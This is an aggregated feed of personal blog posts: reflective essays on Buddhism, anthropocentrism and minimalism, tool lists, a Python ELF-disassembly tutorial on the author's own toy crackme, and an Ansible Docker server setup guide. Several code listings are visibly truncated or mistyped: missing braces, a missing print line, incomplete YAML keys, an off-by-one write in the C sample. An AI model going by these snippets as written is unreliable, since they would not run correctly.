Well, I quickly felt that this was just too much to bear. If I couldn’t enjoy spending time with close friends and loved ones, then there probably wouldn’t be too many more happy times left in life for me; and I didn’t want to die a lonely, angry, old man. So, I spent some time sifting through my thoughts and feelings, trying to pinpoint the source of the problem. I’ve struggled with anxiety and depression for years, and I’m also an extreme introvert, so society is naturally a struggle for me. But I’d also had good, enjoyable friendships before, so I knew that this problem was something new and worse than whatever I’d struggled with in the past. And, after much introspection, I think I finally diagnosed the problem: I was trying too hard to control other people and my interactions with them. To be clear, I’m not a manipulative person, so I wasn’t trying to force people to act a certain way; but I definitely experienced frustration when people didn’t act as I expected them to act or feel as I expected them to feel.

I’m agnostic and mostly skeptical about religion, but I do think that religions have accrued kernels of wisdom that can be useful for us. And Buddhism, I think, has something to say about this situation. If I’ve understood the basics of Buddhism correctly, then one of the Four Noble Truths is this: Life is suffering. That means two things, I think. First, it means that mere existence is, on average for most people most of the time, probably more painful than pleasurable. We’re always in need of food, water, and shelter — as well as the instrumental goods which lead to those intrinsic goods — which means that we’re always hunting for and competing for those things. Even in the very best of lives, the fear of our inevitable demise still hangs like an ominous cloud on the horizon, darkening what could otherwise be a sunny existence. But second, “Life is suffering” means that we cause ourselves a boatload of unnecessary suffering by having desires and expectations that fail to be fulfilled. We hang all of our hopes on getting some new job, and then feel crushed when someone else gets it. We wish secretly, in our heart of hearts, to find The One to be with for the rest of our lives, and then suffer every day in which we haven’t found them yet. We cling desperately to the past, but find in the end that we can never regain it. And while it’s not clear how much we can mitigate the first kind of suffering (though there are good reasons to think that it’s at least possible in theory to reduce hunger, thirst, homelessness, and disease on a global scale), the second kind of suffering can perhaps be reduced pretty significantly by letting go of our unreasonable desires and expectations as much as possible, by revising the desires and expectations that can’t be released, and by embracing whatever is actually happening to us instead of wishing futilely for some other thing to happen.

I thought I had absorbed this lesson well enough to recall it when it needed to be applied, but apparently it’s (at least for me) the sort of thing that needs to be re-learned again and again in different contexts. In short, my problem was that I was causing myself unnecessary frustration by setting up expectations for how my friends would act or feel during our interactions. For example, we spent time with an old friend, but realized quickly that they’d changed since we lived close together. That’s not a bad thing, of course. Heck, I’ve changed since we lived close together. But the person didn’t match my old mental image of them, and I kept finding myself irritated by the difference. (I didn’t consider at the time that perhaps they could have been irritated with me for the same reason — though they didn’t appear to be.) And, as another example, I kept getting frustrated during a book club meeting that the conversation kept wandering down rabbit trails instead of staying on the topic of the book. Of course, there’s nothing wrong with any of the things we discussed, but I made myself angry by constantly comparing my anticipated conversation with the actual conversation. As a final example, I kept getting irritated that my wife said and did things in group settings that didn’t match what I hoped she would say or do. Again, she didn’t do or say anything wrong, but she just didn’t match my expectations.

If Buddhism’s Four Noble Truths describe the problem, then its Eight-Fold Path describes the solution. The Eight-Fold Path is a set of guidelines for living which, if followed, will supposedly lead to enlightenment and/or to the resolution of the problem of suffering. The first of the eight items is “right vision,” which means seeing the world as it really is and understanding how it really works. On the surface, that seems simple, but it’s actually quite difficult in practice, I think. Our view of the world is confused and confounded by all sorts of problems: we lack information about the world, we are motivated to believe that certain things are true because they’re beneficial to us or to the people we love, our attention is finite and easily trapped, and we’re controlled by all sorts of cognitive biases and failures. Seeking, filtering, and assimilating information; noticing and mitigating motivated reasoning; focusing our attention on meaningful problems; and identifying and eradicating biases — all of these steps require hard work, and that’s only the first of the eight folds! What I’ve described can also be called learning. Learning is just updating or replacing an incomplete or inaccurate mental model of the world. So, by learning, we move closer to seeing the world how it really is, which causes our expectations to better match reality, which allows us to reduce the amount of suffering we inflict on ourselves.

Our definition of learning needn’t be confined to schools; we all learn all the time every day. Every time we make a prediction about how the world will be and then that prediction turns out to be wrong, we have the opportunity to learn. If we properly update our mental model, then we’ve reduced future suffering for ourselves. It’s only when we restrain the update process and forcibly maintain the old model that we make it possible to commit the same mistake again in the future.

Anyway, the point of all of this is that, once I realized that I was expecting my friends to conform to my mental model of them, I was able to start fixing the problem. I made a conscious effort during our interactions to let go of my expectations and to embrace whatever happened without judgment. And I think it really helped. I went from irritation to enjoyment almost instantaneously.

Of course, I’m no guru, and I’ll probably have to re-learn this lesson again in another context, or even in the same kind of context. But I was proud to have noticed the problem and to have made an effort to fix it using a lesson I had already learned elsewhere. I’m already trying to think of other areas of life in which I can apply this lesson. Anyway, I hope that you can gain something useful from this little story. Laters!

Szymon Kaliski

Building Dacein — experimental creative coding IDE


Dacein is an experimental creative coding IDE combining a few different ideas that I’ve been thinking about:

Szymon Kaliski

Dacein — experimental creative coding IDE


Dacein is an experimental creative coding IDE combining few different ideas together:


(雨山) You Make Feel Like a Natural Human


I recently saw a Nature Valley (makers of granola bars) commercial with the slogan “Nature makes us better.” One implication of the commercial, inferred partially from the slogan and partially from the imagery, is something like this: “Spending too much time indoors, eating too much processed food, and not getting enough exercise are all detrimental to our health; so, we should get outside, eat more raw or lightly-processed foods, and move our bodies more.” All of that’s fine and probably an accurate diagnosis. But there’s a deeper implication there as well, and it comes from the way the words are used. “Nature,” the slogan implies, is something that can be applied to humans like ointment or that can be taken by humans like medicine or that can be entered into by humans like a sauna; and, having been consumed or entered into, it will “make them better.” On this description (and here I infer more from other cultural sources, not merely from the commercial), “nature” is something that humans may have had at one point in the past and that they’ve now generally lost through technological processes but that they can re-obtain either individually or collectively by untethering themselves from technology and by getting back to “how things used to be.” And it’s this latter implication that I want to question in this post.

Foxes have holes and birds of the air have nests, but the sons of men have houses, which are apparently of a different quality altogether from non-human animal habitations. When a human spends too much time indoors, we say, “It’s not good for you to be indoors so much of the time! You need to get back out into nature!” We don’t say any such thing to foxes and birds, however, and I doubt we would say any such thing to them even if they could understand human language. And why would we not say such things to them? Because to most humans, foxes and birds are already part of nature, and therefore their homes are already part of nature, and therefore the time they spend in their homes is just nature doing nature things. But most humans do say those sorts of things to each other because they do not see their own homes as “natural.” But why not? When a bird builds a nest, it selects materials, assembles them in a neat and orderly way, and then spends time sleeping, raising babies, and generally living in the nest. Humans do exactly the same sorts of things, but they don’t consider their own homes to be natural or part of nature. Instead, they encourage each other to get out of their houses and back “into nature.” Why do they do this? Why do they not see their own houses as natural?

There may be lots of factors involved in an answer, but I think that at least one broad, simple answer can be offered: most humans don’t believe that they’re animals. At the moment, the three largest religions in the world are the the Abrahamic religions of Judaism, Islam, and Christianity. They all accept the Genesis account of the world’s origin: that God made man separately from the rest of nature and charged him the mission of ruling over nature. I don’t know much about the Quran, but the Jewish and Christian Bibles talk a lot about how nature is chaotic and dangerous and how we as humans should “sanctify” ourselves from our natural impulses. (The Latin sanctus, which is often translated into English as “holy,” literally means “set apart.”) If you have been taught to believe such an account from the time you were born, then it’s entirely conceivable that you’d see humanity as separate and apart from nature, something which needs the “good” parts of nature (like sunshine, raw foods, and exercise) but which occasionally succumbs to the “bad” parts of nature (like the “red in tooth and claw” bits). It’s no wonder that we see both (contradictory) accounts expressed in literature: in Walden, nature is praised as the healing salve to the wounds of civilization, technology, and progress; but in Lord of the Flies, nature is criticized as the enemy of civilization, technology, and progress. We can also see this dichotomy in popular culture: “all natural” lifestyles (like homeopathy and non-GMO foods, both of which eschew scientific progress in favor of primitive or medieval solutions) are “healthy”; but people are rarely opposed to going to the emergency room in life-threatening situations or to eating more robust, tastier foods which have been genetically modified by centuries of artificial selection. In one view, nature is the thing to be embraced and returned to; in the other, it is the thing to be defeated and risen above. These views are really only possible, I think, when one believes that humans are something separate from nature.

I don’t think that humans are separate from nature, though. I think that humans building houses is exactly the same sort of behavior as birds building nests. Sure, our brains are bigger than birds’ brains, and therefore our houses will be much larger, fancier, sturdier, and warmer; but the behavior is still driven by the same underlying impulse, the same need for protection from dangers. In short, we are animals. For some people, this is a very degrading or depressing thought. Personally, though, I find it kind of fun and exciting. Mostly, though, I don’t see how it’s not completely obvious unless you just intentionally ignore the similarities between ourselves and other animals. Admittedly, if you’re new to them, it takes a while to get used to thoughts like: “I’m basically a chimpanzee. I didn’t evolve from a chimpanzee; I’m merely its cousin. But I’m still just an ape. And I’ve been classified that way by biologists, as opposed to being classified as a type of dog or lizard or fish, because of the characteristics I share in common with other apes. At the same time, though, I’m not exactly like other apes; I have features they don’t, and they have features I don’t. For example, I’m more intelligent, but they’re stronger.”

In fact, probably a second reason that most humans don’t think that they’re animals is that humans are far and away the most intelligent animals on the planet, which allows them, even in the absence of religious reasons, to view themselves as distinct from other animals, different in kind rather than in degree. If dolphins and crows and cats were all as intelligent as humans and could communicate with us, then I suspect that anthropocentrism would be abolished quite quickly, if indeed it ever appeared in the first place. But our collective memory unfortunately doesn’t stretch back to the time when we were with other species on a level intellectual playing field, and thus the myth lingers on.

Why is all of this important? What does it matter whether or not some people believe that humans are special and unique among the creatures on the planet?

Well, it’s generally important to have justified, true beliefs wherever possible, not necessarily because truth is “good” in some supernatural, metaphysical sense (though it may be), but because true beliefs are more likely to lead to survival. Sadly, this is only generally true. It’s been shown that holding some kinds of false beliefs can lead to happiness and longevity. Religious people tend to outlive non-religious people, for example. I’m not saying with certainty that all religious beliefs are false, but enough of them are mutually exclusive enough that at least some of them are wrong some of the time. So, in those sorts of cases, holding unjustified or untrue beliefs can increase survival through a kind of placebo effect. But, generally speaking, true beliefs increase survival rates much more than false beliefs. (In fact, it may be universally true; it just may be that placebo-like effects from holding false beliefs represent a kind of local optimum which we could potentially surpass if we could get ourselves out of the rut.) For example, a gazelle that has true beliefs about the location of a lion is much more likely to survive than a gazelle that has false beliefs. In other words, having true beliefs about the state of the world means having true beliefs about the nature of potential threats, which means being much more likely to avoid those threats or being more knowledgeable about how to defeat them. And, of course, threats come in a variety of forms; predators aren’t the only danger out there. Threats can come in the form of hunger, or thirst, or poison, or disease, or inclement weather, or accidents like falling or drowning or choking. (Geez, we can die in so many horrible ways!) A lot of knowledge is required to avoid or to mitigate all of those threats. Holding false beliefs only decreases survival rates, whether individual or collective.

Specifically, then, I think that anthropocentrism leads to the conclusion that the rest of the world is ours to do with as we wish, which leads in the end to the destruction of part or all of the world’s ecosystem. It leads there not because we’re individually bad or suicidal, but because evolution is short-sighted and doesn’t necessarily produce creatures who survive in the long term; it only continues to produce creatures who can live long enough to clone themselves. Daniel Quinn’s hypothesis in his book Ishmael is that humans don’t just compete with other creatures; they actively destroy their competitors to achieve a monopoly. For example, we don’t just grow crops; we label as “pests” any creatures that compete with us for those crops, and we annihilate them with extreme prejudice. In the short term, this behavior leads to more humans, which means that humans seem to be “winning,” evolutionarily speaking. But in the long term, a continuation of that behavior must lead to the destruction of the ecosystem, since in the very long run, we will compete with every other species on the planet for every possible resource. Only very recently have we begun to question our use of pesticides, though that questioning has been prompted primarily by our own survival concerns and not as much by regret for the suffering inflicted on other creatures. The public has just begun collectively to notice what scientists have been telling them for a long time: that we’re part of a vast ecosystem and that the destruction of that ecosystem is the destruction of ourselves. And yet we’re still not noticing it quickly enough because too many people are mired in the fiction of anthropocentrism, a fiction that tells them that they can exploit the world however they like without consequences.

One needn’t be an atheist or agnostic to let go of the anthropocentric worldview. One could probably easily believe that humans have souls and that they go to heaven or hell when they die and that they’re animals who are part of a delicate ecosystem. But for some reason, anthropocentrists (who are usually religious fundamentalists, I think) not only exist, but they also happen to be in possession of a frightening amount of global power at the moment. This, of course, is how we’ve ended up in the position we’re in, fighting for survival against some of our own world leaders and media organizations.

What’s needed, I think, is more science education among the general public. But I want to be clear that this shouldn’t involve merely more facts or measurements or calculations. Too many people, I think, suffer from a kind of trauma from math and science education, leaving them feeling that math and science is too hard, too distant, too impractical, too cloistered, and only useful for spitting out fun toys every once in a while. Therefore, I think that science education should more time asking its core question “What is the world like?” rather than merely telling students the answers to that question. It shouldn’t force-feed students a list of facts to remember; it should encourage them to question, to observe, to categorize, and to experiment. It should teach them to accept facts no matter how bewildering or humbling. It should, perhaps above all else, include a re-envisioning of the world through the lens of “humans are animals.” Such an education would teach neither that nature is wholly good for us as in Walden nor wholly bad for us as in Lord of the Flies, but that we are nature and that it is us. It would teach that it is good for us to be outdoors insofar as we need fresh air and sunshine and community, and that it is good for us to be indoors insofar as we need protection from predators and from the elements. It would teach us that our bodies have many of the same needs as other animals and that we should no more destroy our environment than we should destroy our own bodies. It would teach us that nothing is unnatural, including technology (because humans are natural and therefore what they do is natural), but that, just like genetic mutations, some innovations are beneficial and some are detrimental.

On paper, public science education probably already attempts to do those things in many parts of the world, but it is apparently hindered in its ability to penetrate into minds already full of the old fictions, and it simply can’t penetrate into the wild west of unregulated homeschool and private school education. And I think I know why: education can be emotional and can even feel dangerous. It can genuinely hurt to hold one set of views and then to have them ripped from you without your consent (not because you had it hammered into you by unrelenting professors, but because you were so compelled by the evidence that your beliefs changed in spite of your attempts to keep them the same). I went through it, so I know how it feels. It does involve the giving up of one worldview for another. But there’s actually something quite noble, I think, in being willing to follow the facts wherever they lead. It takes real courage. I can’t claim to do it all the time, but I certainly want to be that kind of person.

Well, I’ll stop preaching at you now. Thanks for tagging along. I’ll leave you with an Alan Watts quote (from The Book: On the Taboo Against Knowing Who You Are) that summarizes the worldview I’ve been trying to describe.

“We do not ‘come into’ this world; we come out of it, as leaves from a tree. As the ocean ‘waves,’ the universe ‘peoples.’ Every individual is an expression of the whole realm of nature, a unique action of the total universe.”


LimeSDR Mini with Gqrx on Arch Linux


The LimeSDR Mini is a newer product from the MyriadRF line of SDRs. Its ability to both transmit and receive, decent bandwidth, small form factor, and a reasonable price tag make it a very attractive device for experimentation. Likely, one of the first things a radio hobbiest will want to do with this device is hook up an antenna, fire up Gqrx, and tune around. Recently I attempted just this, but had some issues getting things setup on an Arch Linux box. It wound up being a bit of a rabbit hole, so it's worth a note on how I got this setup up and working.

serocell - media feed



Post on phse.net

A List of the Tools I'm Using


Here’s a list of the gear I use: Drawing Tombow Fudenosuke Brush Pen (Soft type) Caran D’Ache Grafwood Graphite Bee Paper Company 93lb Super Deluxe Photography Fujifilm X-Pro2 w/ XF 27mm f/2.8 Computers 2014 MacBook Pro 13” 2009 ThinkPad T60 Software For work: Vim, Figma, Sketch, Photoshop For fun: Blender, TidalCycles, Dotgrid My dotfiles

Post on phse.net

Always Carry a Sketchbook


I like to keep a sketchbook with me wherever I go. Pocket-sized sketchbooks are highly portable, and you’re almost guaranteed to have something to draw on if you combine them with your wallet. It’s a great way to kill 10 minutes waiting for the bus, and the size of the page makes it much less daunting than a full-sized sketchbook. Types of drawing Over the years I’ve found I have 3 modes of sketching that I get into:

icyphox's blog

Python for Reverse Engineering #1: ELF Binaries


While solving complex reversing challenges, we often use established tools like radare2 or IDA for disassembling and debugging. But there are times when you need to dig in a little deeper and understand how things work under the hood.

Rolling your own disassembly scripts can be immensely helpful when it comes to automating certain processes, and eventually build your own homebrew reversing toolchain of sorts. At least, that’s what I’m attempting anyway.


As the title suggests, you’re going to need a Python 3 interpreter before anything else. Once you’ve confirmed beyond reasonable doubt that you do, in fact, have a Python 3 interpreter installed on your system, run

$ pip install capstone pyelftools

where capstone is the disassembly engine we’ll be scripting with and pyelftools to help parse ELF files.

With that out of the way, let’s start with an example of a basic reversing challenge.

/* chall.c */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
   char *pw = malloc(9);
   pw[0] = 'a';
   for(int i = 1; i <= 8; i++){
       pw[i] = pw[i - 1] + 1;
   pw[9] = '\0';
   char *in = malloc(10);
   printf("password: ");
   fgets(in, 10, stdin);        // 'abcdefghi'
   if(strcmp(in, pw) == 0) {
       printf("haha yes!\n");
   else {
       printf("nah dude\n");

Compile it with GCC/Clang:

$ gcc chall.c -o chall.elf


For starters, let’s look at the different sections present in the binary.

# sections.py

from elftools.elf.elffile import ELFFile

with open('./chall.elf', 'rb') as f:
    e = ELFFile(f)
    for section in e.iter_sections():
        print(hex(section['sh_addr']), section.name)

This script iterates through all the sections and also shows us where it’s loaded. This will be pretty useful later. Running it gives us

› python sections.py
0x238 .interp
0x254 .note.ABI-tag
0x274 .note.gnu.build-id
0x298 .gnu.hash
0x2c0 .dynsym
0x3e0 .dynstr
0x484 .gnu.version
0x4a0 .gnu.version_r
0x4c0 .rela.dyn
0x598 .rela.plt
0x610 .init
0x630 .plt
0x690 .plt.got
0x6a0 .text
0x8f4 .fini
0x900 .rodata
0x924 .eh_frame_hdr
0x960 .eh_frame
0x200d98 .init_array
0x200da0 .fini_array
0x200da8 .dynamic
0x200f98 .got
0x201000 .data
0x201010 .bss
0x0 .comment
0x0 .symtab
0x0 .strtab
0x0 .shstrtab

Most of these aren’t relevant to us, but a few sections here are to be noted. The .text section contains the instructions (opcodes) that we’re after. The .data section should have strings and constants initialized at compile time. Finally, the .plt which is the Procedure Linkage Table and the .got, the Global Offset Table. If you’re unsure about what these mean, read up on the ELF format and its internals.

Since we know that the .text section has the opcodes, let’s disassemble the binary starting at that address.

# disas1.py

from elftools.elf.elffile import ELFFile
from capstone import *

with open('./bin.elf', 'rb') as f:
    elf = ELFFile(f)
    code = elf.get_section_by_name('.text')
    ops = code.data()
    addr = code['sh_addr']
    md = Cs(CS_ARCH_X86, CS_MODE_64)
    for i in md.disasm(ops, addr):        

The code is fairly straightforward (I think). We should be seeing this, on running

› python disas1.py | less      
0x6a0: xor ebp, ebp
0x6a2: mov r9, rdx
0x6a5: pop rsi
0x6a6: mov rdx, rsp
0x6a9: and rsp, 0xfffffffffffffff0
0x6ad: push rax
0x6ae: push rsp
0x6af: lea r8, [rip + 0x23a]
0x6b6: lea rcx, [rip + 0x1c3]
0x6bd: lea rdi, [rip + 0xe6]
**0x6c4: call qword ptr [rip + 0x200916]**
0x6ca: hlt
... snip ...

The line in bold is fairly interesting to us. The address at [rip + 0x200916] is equivalent to [0x6ca + 0x200916], which in turn evaluates to 0x200fe0. The first call being made to a function at 0x200fe0? What could this function be?

For this, we will have to look at relocations. Quoting linuxbase.org

Relocation is the process of connecting symbolic references with symbolic definitions. For example, when a program calls a function, the associated call instruction must transfer control to the proper destination address at execution. Relocatable files must have “relocation entries’’ which are necessary because they contain information that describes how to modify their section contents, thus allowing executable and shared object files to hold the right information for a process’s program image.

To try and find these relocation entries, we write a third script.

# relocations.py

import sys
from elftools.elf.elffile import ELFFile
from elftools.elf.relocation import RelocationSection

with open('./chall.elf', 'rb') as f:
    e = ELFFile(f)
    for section in e.iter_sections():
        if isinstance(section, RelocationSection):
            symbol_table = e.get_section(section['sh_link'])
            for relocation in section.iter_relocations():
                symbol = symbol_table.get_symbol(relocation['r_info_sym'])
                addr = hex(relocation['r_offset'])
                print(f'{symbol.name} {addr}')

Let’s run through this code real quick. We first loop through the sections, and check if it’s of the type RelocationSection. We then iterate through the relocations from the symbol table for each section. Finally, running this gives us

› python relocations.py
_ITM_deregisterTMCloneTable 0x200fd8
**__libc_start_main 0x200fe0**
__gmon_start__ 0x200fe8
_ITM_registerTMCloneTable 0x200ff0
__cxa_finalize 0x200ff8
stdin 0x201010
puts 0x200fb0
printf 0x200fb8
fgets 0x200fc0
strcmp 0x200fc8
malloc 0x200fd0

Remember the function call at 0x200fe0 from earlier? Yep, so that was a call to the well known __libc_start_main. Again, according to linuxbase.org

The __libc_start_main() function shall perform any necessary initialization of the execution environment, call the main function with appropriate arguments, and handle the return from main(). If the main() function returns, the return value shall be passed to the exit() function.

And its definition is like so

int __libc_start_main(int *(main) (int, char * *, char * *), 
int argc, char * * ubp_av, 
void (*init) (void), 
void (*fini) (void), 
void (*rtld_fini) (void), 
void (* stack_end));

Looking back at our disassembly

0x6a0: xor ebp, ebp
0x6a2: mov r9, rdx
0x6a5: pop rsi
0x6a6: mov rdx, rsp
0x6a9: and rsp, 0xfffffffffffffff0
0x6ad: push rax
0x6ae: push rsp
0x6af: lea r8, [rip + 0x23a]
0x6b6: lea rcx, [rip + 0x1c3]
**0x6bd: lea rdi, [rip + 0xe6]**
0x6c4: call qword ptr [rip + 0x200916]
0x6ca: hlt
... snip ...

but this time, at the lea or Load Effective Address instruction, which loads some address [rip + 0xe6] into the rdi register. [rip + 0xe6] evaluates to 0x7aa which happens to be the address of our main() function! How do I know that? Because __libc_start_main(), after doing whatever it does, eventually jumps to the function at rdi, which is generally the main() function. It looks something like this

To see the disassembly of main, seek to 0x7aa in the output of the script we’d written earlier (disas1.py).

From what we discovered earlier, each call instruction points to some function which we can see from the relocation entries. So following each call into their relocations gives us this

printf 0x650
fgets  0x660
strcmp 0x670
malloc 0x680

Putting all this together, things start falling into place. Let me highlight the key sections of the disassembly here. It’s pretty self-explanatory.

0x7b2: mov edi, 0xa  ; 10
0x7b7: call 0x680    ; malloc

The loop to populate the *pw string

0x7d0:  mov     eax, dword ptr [rbp - 0x14]
0x7d3:  cdqe    
0x7d5:  lea     rdx, [rax - 1]
0x7d9:  mov     rax, qword ptr [rbp - 0x10]
0x7dd:  add     rax, rdx
0x7e0:  movzx   eax, byte ptr [rax]
0x7e3:  lea     ecx, [rax + 1]
0x7e6:  mov     eax, dword ptr [rbp - 0x14]
0x7e9:  movsxd  rdx, eax
0x7ec:  mov     rax, qword ptr [rbp - 0x10]
0x7f0:  add     rax, rdx
0x7f3:  mov     edx, ecx
0x7f5:  mov     byte ptr [rax], dl
0x7f7:  add     dword ptr [rbp - 0x14], 1
0x7fb:  cmp     dword ptr [rbp - 0x14], 8
0x7ff:  jle     0x7d0

And this looks like our strcmp()

0x843:  mov     rdx, qword ptr [rbp - 0x10] ; *in
0x847:  mov     rax, qword ptr [rbp - 8]    ; *pw
0x84b:  mov     rsi, rdx             
0x84e:  mov     rdi, rax
0x851:  call    0x670                       ; strcmp  
0x856:  test    eax, eax                    ; is = 0? 
0x858:  jne     0x868                       ; no? jump to 0x868
0x85a:  lea     rdi, [rip + 0xae]           ; "haha yes!" 
0x861:  call    0x640                       ; puts
0x866:  jmp     0x874
0x868:  lea     rdi, [rip + 0xaa]           ; "nah dude"
0x86f:  call    0x640                       ; puts  

I’m not sure why it uses puts here? I might be missing something; perhaps printf calls puts. I could be wrong. I also confirmed with radare2 that those locations are actually the strings “haha yes!” and “nah dude”.

Update: It’s because of compiler optimization. A printf() (in this case) is seen as a bit overkill, and hence gets simplified to a puts().


Wew, that took quite some time. But we’re done. If you’re a beginner, you might find this extremely confusing, or probably didn’t even understand what was going on. And that’s okay. Building an intuition for reading and grokking disassembly comes with practice. I’m no good at it either.

All the code used in this post is here: https://github.com/icyphox/asdf/tree/master/reversing-elf

Ciao for now, and I’ll see ya in #2 of this series — PE binaries. Whenever that is.

ellugar Logs

Server Setup - Introduction [en]


The objective of this series of blog posts is to explain the current setup that I ended up with, since the majority of tutorials and posts I found on the web focused on parts of this type of setup and not the full picture. Although this series will focus on Django applications, and a specific setup that works for me, I hope it can help someone else that's doing something similar with different technologies.

The following stack was used:


  • Part 1: setting up the remote server
  • Part 2: start traefik on the remote server
  • Part 3: Deploy using Gitlab CI

Part 1: Setting up the remote server

For this section, I wrote some config files that I keep on a Gitlab repo. You can check them out at https://gitlab.com/afk_mcz/srv although they are probably not going to stay in sync with this post, so you can check the following commit for version at the time of writing this.

Digital Ocean

The general idea with this setup is that is really simple to extend, improve and maintain low costs.

~~T~~he firs step is to create a new DO droplet, I prefer using the $5 USD droplet so if I need more, I can start a new one and only get charged for the amount of resources I actually use. The easier way to kickstart development is to choose the Docker One-Click App as a starting point. If you decide to go for another route, the main requirements for the remote server are being able to connect via SSH and have docker and docker-compose installed and configured.

Be sure to add your SSH key to the droplet when you are creating it as it will be necessary for ansible to connect to the server.


If you are not familiar with Ansible, I recommend reading the Ansible documentation, once it is installed, the first thing is to configure the hosts file. First I like to place my hosts file at ~/.config/ansible/hosts and for that I need to configure Ansible to pick it up from there so we need to add this line in your config file.

# ~/.asnible.cfg


inventoru = ~/.config/ansible/hosts

After that, create the hosts file if it doesn't exist

# ~/.config/ansible/hosts

[webservers] # This is the group of hosts that we will configure. # replace it with your droplet's IP adress.

Once ansible is configured you can check everything is working as expected pinging the remote server using the following command: ansible all -m ping -u root a and you should get something similar to this.

    "changed": false,
    "ping": "pong"

Now we need to tell ansible what do we want on our new server. This can be done using the ansible-playbook command which accepts a YAML config file defining a series of tasks that will be run on the remote server via SSH. So create a file named init-web-server.yml and write the following:

# init-web-server.yml
- hosts: webservers
  gather_facts: false
  remote_user: root
    - name: Bootstrap a host without python installed
      raw: apt install -y python

The first thing we need to do is install python on the remote server, as the DO docker app doesn't have it by default and ansible needs it to function, so we specify don't need to check the status of the server and run a raw command to install python; we only need to run this playbook once with the following command ansible-playbook init-web-server.yml

If you don't get any errors then you can continue writing the next playbook, web-server.yml.

- hosts: webservers
  remote_user: root
    - name: Install a list of packages
        name: "{{ packages }}"
        update_cache: true
          - python
          - python-pip
          - vim
          - zsh
          - tree
    - name: install python deps
        name: docker-compose
    - name: Create a deploy user
        name: deploy
        generate_ssh_key: true
        # export DEPLOY_PASSWORD=$(mkpasswd --method=sha-512)
        password: "{{ lookup('env','DEPLOY_PASSWORD') }}"
          - docker
          - sudo
        state: present
        shell: /bin/zsh
    - name: Add ssh key
        user: deploy
        state: present
        manage_dir: true
        key: "{{ lookup('file', '~/.ssh/id_rsa.pub') }}"
    - name: Add deploy key
        user: deploy
        state: present
        manage_dir: true
        key: "{{ lookup('file', '~/.ssh/deploy.pub') }}"

Install a list of packages

The first task on web-server.yml playbook is to install a list of packages that will make development easier. The majority of them are optional so you can skip them.

The only important ones are python-pip and docker-compose so make sure you have them.

Deploy user

Next we need a new user that will be in charge of all deployment tasks. It needs to be on the docker and sudo groups and to set the password, ansible will look the environment variable DEPLOY_PASSWORD , to generate a hashed password. You can run the following command export DEPLOY_PASSWORD=$(mkpasswd --method=sha-512) if you are on linux, if this doesn't work for you, you can check out other ways to do it on the Ansible FAQ, just make sure the env variable is set up correctly, you can confirm this running echo $DEPLOY_PASSWORD from the terminal.

SSH keys

On the ansible playbook we tell ansible to look for two files on our local computer, id_rsa.pub and [deploy.pub](http://deploy.pub) you could only pass one, but for being able to deploy using Gitlab CI, you need a SSH key without a passphrase, and I normally do have one on my default SSH key, so just make sure you add the user on at least one SSH key without passphrase.

Now run the following command ansible-playbook web-server.yml and make sure everything worked by connecting to the remote server using SSH ssh deploy@DO_IP_ADDRESS.

Gokberk Yaltirakli

Rendering GPS traces


If you ask a bunch of people to upload GPS traces when they walk/drive and you combine those traces, you can get a rudimentary map. In fact, this is one of the primary data sources of OpenStreetMap. The data for those is freely available, so we can use it in a small project.


(雨山) Setting Up Orca on Ubuntu 18.04.1 LTS with SunVox


It’s fairly straightforward to set up ORCΛ on Ubuntu for use with SunVox, and though I haven’t really gotten a chance to do anything advanced with it yet, these instructions at least got me off the ground.

Here’s a video of the process. The written instructions are below.

So, first, launch SunVox. Open the Preferences from the little menu at the top left. Select the MIDI submenu. Click on “MIDI controller 1” and choose “Midi Through Port-0” from the drop-down list. Then close the preferences.

Next, launch Orca. Press CTRL+. to open the JavaScript console. Type:


This will list the available MIDI controllers. Note the index (place) in the list of the device with the same name as the SunVox controller: “Midi Through Port-0”. Then type:


I used 0 in this example because that was the index of the device with the name “Midi Through Port-0” on my machine, but your index might be different.

Next, press CTRL+. to close the JS console. Now open an Orca project file. You can use one from the “examples” folder if you don’t have any of your own yet. It should start playing automatically.

Orca will control whatever instrument is currently selected in SunVox. So, to switch instruments, just click on a different module (synth, effect, etc.).

And that’s it! There are probably other and better ways to set it up, but since I know virtually nothing about MIDI, this is as far as I can take you. Good luck, and let me know how it goes!

Gokberk Yaltirakli

Reverse Engineering the Godot File Format


I’ve been messing around with the Godot game engine recently. After writing some examples that load the assets and map data from files, I exported it and noticed that Godot bundled all the resources into a single .pck file. It was packing all the game resources and providing them during runtime as some sort of virtual file system.


USB Powered Bias-T and ADS-B Enhancements


Recently I have turned my attention back to ADS-B. I realized it is an excellent source for a dynamic near-realtime dataset for use as sample data in some other side projects. The data itself is interesting and fun to visualize, and it's relatively easy to stand up a recieveing station that is always on. So I pulled out an SBC (Odroid XU3) and an old generic RTL-SDR stick I had lying around, and hooked things up to a simple telescoping dipole antenna mounted in the window. This modest setup was enough to pull flight data from nearby aircraft, and for my purposes was completely satisfactory. However, the more I used this setup and got a sense of its receiving range, I became curious. What are some simple modifications I could make to this little station to increase its range, and by how much? Is it possible to push its range without going (too) crazy with radio gear?

Post on phse.net

Yearly Review 2018


2018 was an exciting year. I started a new job, traveled to Hawaii, and learned the basics of calligraphy. Here’s a list of a few of my favorite books I read this year: City of Saints and Madmen - Jeff VanderMeer The Paper Managerie and Other Stories - Ken Liu The Will to Keep Winning - Daigo Umehara Seven Surrenders - Ada Palmer As 2018 comes to a close, I’ve been reflecting on the past year as a way to determine my focus for 2019.

Post on phse.net

On Minimalism


I find myself discussing minimalism more often recently. When the topic comes up, the conversation usually gravitates towards the struggle (or success) of removing clutter from the garage, junk drawer, or desk by donating or trashing whatever has been accumulated over the years. Getting rid of excess possessions can be extremely freeing when you live in a hyper-consumerist society. However, I find that this activity has diminishing returns. I call this practice minimal materialism, because I think minimalism is a philosophy that extends beyond the things we own.

Szymon Kaliski

Culture Mapping — tools for analyzing how and why the culture is changing


flow/control collaborated with ScenarioDNA and talented Nadieh Bremer to build a culture mapping tool.

Gokberk Yaltirakli

Free Hotel Wifi with Python and Selenium


Recently I took my annual leave and decided to visit my friend during the holidays. I stayed at a hotel for a few days but to my surprise, the hotel charged money to use their wifi. In $DEITY’s year 2000 + 18, can you imagine?

serocell - media feed



Chad Mazzola

Confronting the burden of consciousness


It’s just an accident that we happen to be on earth, enjoying our silly little moments, distracting ourselves as often as possible so we don’t have to really face up to the fact that, you know, we’re just temporary people with a very short time in a universe that will eventually be completely gone. And everything that you value, whether it’s Shakespeare, Beethoven, da Vinci, or whatever, will be gone. The earth will be gone. The sun will be gone. There’ll be nothing. The best you can do to get through life is distraction. Love works as a distraction. And work works as a distraction. You can distract yourself a billion different ways. But the key is to distract yourself.

Woody Allen, What I’ve Learned

